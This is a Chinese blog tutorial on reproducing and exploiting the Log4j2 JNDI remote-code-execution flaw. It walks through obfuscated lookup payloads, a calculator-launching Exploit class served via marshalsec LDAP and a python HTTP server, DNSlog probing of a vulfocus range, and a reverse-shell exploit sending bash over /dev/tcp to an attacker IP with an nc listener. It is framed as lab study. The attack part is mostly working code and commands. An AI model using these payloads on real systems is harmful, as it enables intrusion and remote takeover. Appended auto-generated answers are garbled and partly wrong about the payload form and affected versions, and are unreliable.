【log4j2漏洞复现与利用】

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。Apache Log4j 2.x <= 2.14.1版本存在远程代码执行漏洞。 漏洞的主要原因是log4j2的接收器对于不可靠来源的输入没有过滤,攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

log4j2 教程

  • 这里简要log4j2的使用方法以及代码示例

环境搭建

  1. 搭建log4j2环境的主要难点在于引入三方库,主要有maven库引用和jar包直接引用的方式。只要保证代码可以引用到对应的log4j2库即可。
    知识点
1. java函数编写
2. javac 编译, java执行
3. maven库的使用; jar包的引入

测试运行

  1. log4j2使用代码示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) {
        logger.error("hello world   asdf.");
        logger.error("$${lookupName:key:${lower:env}}");
        logger.error("${env:aaa:-444444}");
        logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
        logger.error("${log4j:configParentLocation}");
        logger.error("$${lower:{${java:os}}");
        logger.error("${upper:DhhASD}");
        logger.error("${java:os}");
        logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
    }
}

输出结果:

21-12-12 12:51:23.003 [main] ERROR log4j - hello world   asdf.
21-12-12 12:51:23.011 [main] ERROR log4j - ${lookupName:key:${lower:env}}
21-12-12 12:51:23.011 [main] ERROR log4j - 444444
21-12-12 12:51:23.011 [main] ERROR log4j - ${base64:SGVsbG8gV29ybGQhCg==}
21-12-12 12:51:23.011 [main] ERROR log4j - D:\Work\D\Code\maven-01\target\classes
21-12-12 12:51:23.015 [main] ERROR log4j - ${lower:{Windows 10 10.0, architecture: amd64-64}
21-12-12 12:51:23.015 [main] ERROR log4j - ${upper:DhhASD}
21-12-12 12:51:23.015 [main] ERROR log4j - Windows 10 10.0, architecture: amd64-64
21-12-12 12:51:23.015 [main] ERROR log4j - ${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}
  • 小结:
    此处试验了log4j的lookup的变量替换功能。例如${java:os}可以打印操作系统相关信息。这也是log4j2 payload变种的主要依据。
    此处有个疑问: ${lower:A} 这样的语法,日志打印中没有进行替换。

专业名词解释及其payload分析

首先看一下典型的payload示例:

${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}

这是利用的jndi注入的方式
有几个专业名词,在这里解释一下:

  • payload:

病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。

  • jndi:

JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

参考资料:https://xz.aliyun.com/t/6633

  • ldap:

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

  • DNSlog:

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

DNSlog 在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。


分析payload:

${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}

jndi:ldap 是jndi注入

12345.p7yc0x.ceye.io 是一个域名, 其中p7yc0x.ceye.io是攻击者自己申请的免费三级域名, 12345是随便写的四级域名。域名申请网站有http://ceye.io/ (需要注册) 以及http://www.dnslog.cn/(无需注册)

:1389/aaa 端口信息以及路径

此外,可以收集到payload的变种如下

${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://bbb.rblpq9.ceye.io/Log4jRC}

主要还是使用了log4j2的lookup方式, 具体可以查询官方文档:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

利用工具简介:

postman:
用于发送请求,请求中携带payload

marshalsec
这是一款java 反序列化利用工具,在本次实验中主要用来搭建LDAP服务器。
常用使用方式
开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

项目地址

https://github.com/mbechler/marshalsec

log4j2漏洞验证(弹出计算器版)

假设如下(具体以实际ip为主)
被攻击者者ip: 1.1.1.1
攻击者ip: 2.2.2.2

  弹出计算器是常用的远程代码执行漏洞的验证方式。若攻击者的利用代码可以弹出计算器,则说明该漏洞可被利用执行命令。

思路
log4j2打印出payload的内容,触发远程代码执行,可以执行一个提前准备好的java函数,该函数可执行开启计算器功能。

被攻击者的log4j2 打印函数示例

假设被攻击者可能会运行如下代码:

import org.apache.logging.log4j.*;

public class Log4jTest1 {
    public static final Logger logger = LogManager.getLogger(Log4jTest1.class);
    public static void main(String[] args){
        System.out.println("开始执行漏洞利用");
        //若java为高版本,需要开启这个才能利用
       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("asdfasfdasdfafafd");
        logger.error("${jndi:ldap://2.2.2.2:1389/adf}");
        System.out.println("完成执行漏洞利用");
    }
}


攻击者执行操作

攻击者的利用代码如下:

public class Exploit {
    static {
        try {
           System.out.println("攻击代码正在运行...");
           String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

攻击者还需要执行以下步骤

  • 编译攻击脚本,得到Exploit.class
javac Exploit.java
  • 在利用脚本所在路径下, 开启http服务器
python -m http.server 8888
  • 另外开一个窗口,开启ldap服务,默认端口为1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"

解释:其中的#Exploit需要和编译出的class文件名对应,不包含.class后缀。
这样的话,被攻击者用log4j2打印出payload"${jndi:ldap://2.2.2.2:1389/adf}",会自动执行Exploit.class


漏洞复现

  被攻击者执行log4j2打印payload的操作, 即可触发启动计算器 ~

被攻击者的日志输出:

.......
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:373)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:213)
	... 42 more

21-12-12 14:50:11.969 [main] ERROR Log4jTest1 - ${jndi:ldap://2.2.2.2:1389/adf}
完成执行漏洞利用

log4j2漏洞验证(DNSlog版)

 DNSlog是黑客常用的探测log4j2漏洞是否存在的方式。

思路
输入是一个API接口, 调用API接口时携带payload(触发请求DNS), 然后根据DNSlog日志中是否收到请求,来判断是否存在log4j漏洞以及获取含有漏洞的IP。

DNSlog如何玩

  1. 在DNSlog 网站上申请一个免费的三级域名;
  2. 找一台机器ping 一下这个域名(可以加前缀变为4级域名)
  3. 在DNSlog网站上即可看到是哪个IP发送的请求

在vulfocus靶场验证log4j2漏洞

  • 假设待检测的目标为vulfocus.fofa.so:57872
  • 提前准备好的DNS域名为 rblpq9.ceye.io
  • 可以使用postman发送请求,主要信息如下:

POST /hello HTTP/1.1 Host: vulfocus.fofa.so:22755 Content-Type: application/x-www-form-urlencoded payload=${jndi:ldap://ce_shi_yi_xia.rblpq9.ceye.io/wu_suo_wei}

postman的主要截图如下:
在这里插入图片描述
在这里插入图片描述

DNSlog 主要截图如下:
在这里插入图片描述

log4j2 靶场学习(反弹shell版)

  接下来将介绍,在靶场环境下,尝试利用该漏洞执行反弹shell直接拿到主机权限的演示。

靶场主要参考网络资源:
https://github.com/fengxuangit/log4j_vuln

执行命令:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

靶场环境代码简要分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bqKlaLVL-1643579936132)(http://image.huawei.com/tiny-lts/v1/images/bc1189ad0409f1099dc0619001efb030_1425x460.png@900-0-90-f.png)]

从代码中可以看出, 当请求参数中有c时, 会用log4j2打印参数内容, 容易触发漏洞。


被攻击者ip:1.1.1.1
攻击者ip:2.2.2.2

被攻击者信息

POST 1.1.1.1:8080/webstudy/hello-fengxuan

请求参数中可带内容 c="payload"

攻击者的操作

  1. 编写反弹shell利用代码
public class Exploit {
    static {
        try {
           String[] cmd = {"bash", "-i",">" ,"/dev/tcp/2.2.2.2/5566", "0>&1" ,"2>&1"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}
  1. javac 编译

  2. 在利用脚本所在路径下, 开启http服务器

python -m http.server 8888
  1. 另外开一个窗口,开启ldap服务,默认端口为1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"

  1. 另外开一个窗口,开启监听
nc -lvp 5566
  1. postman发送恶意请求
    其中body体中
    c="${jndi:ldap://2.2.2.2:1389/adf}"

  2. 攻击成功, 获取shell

攻击绕过相关参考

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

  • 19
    点赞
  • 77
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞的修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络的安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码记录日志。但是,最近发现了一个名为CVE-2021-44228的漏洞,攻击者可以利用漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志记录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值